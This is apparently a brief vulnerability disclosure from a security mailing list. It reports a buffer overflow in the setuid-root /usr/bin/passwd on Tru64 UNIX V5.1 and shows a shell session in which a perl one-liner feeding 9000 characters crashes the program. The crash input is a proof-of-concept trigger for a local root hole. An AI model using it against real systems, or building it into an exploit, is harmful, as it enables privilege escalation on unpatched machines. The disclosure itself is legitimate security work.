TRU64 /usr/bin/passwd overflow

[KF <dotslash () snosoft com>]

In light of the recent conversations on the non-executable stack I have 
decided to release some of the information I have been sitting on.

alpha.snosoft.com> uname -a
OSF1 alpha.snosoft.com V5.1 732 alpha
alpha.snosoft.com> id
uid=201(dotslash) gid=15(users) groups=0(system)
alpha.snosoft.com> ls -al /usr/bin/passwd
-rwsr-xr-x   3 root     bin        32944 Aug 24  2000 /usr/bin/passwd
alpha.snosoft.com> /usr/bin/passwd `perl -e 'print "A" x 9000'`
Memory fault
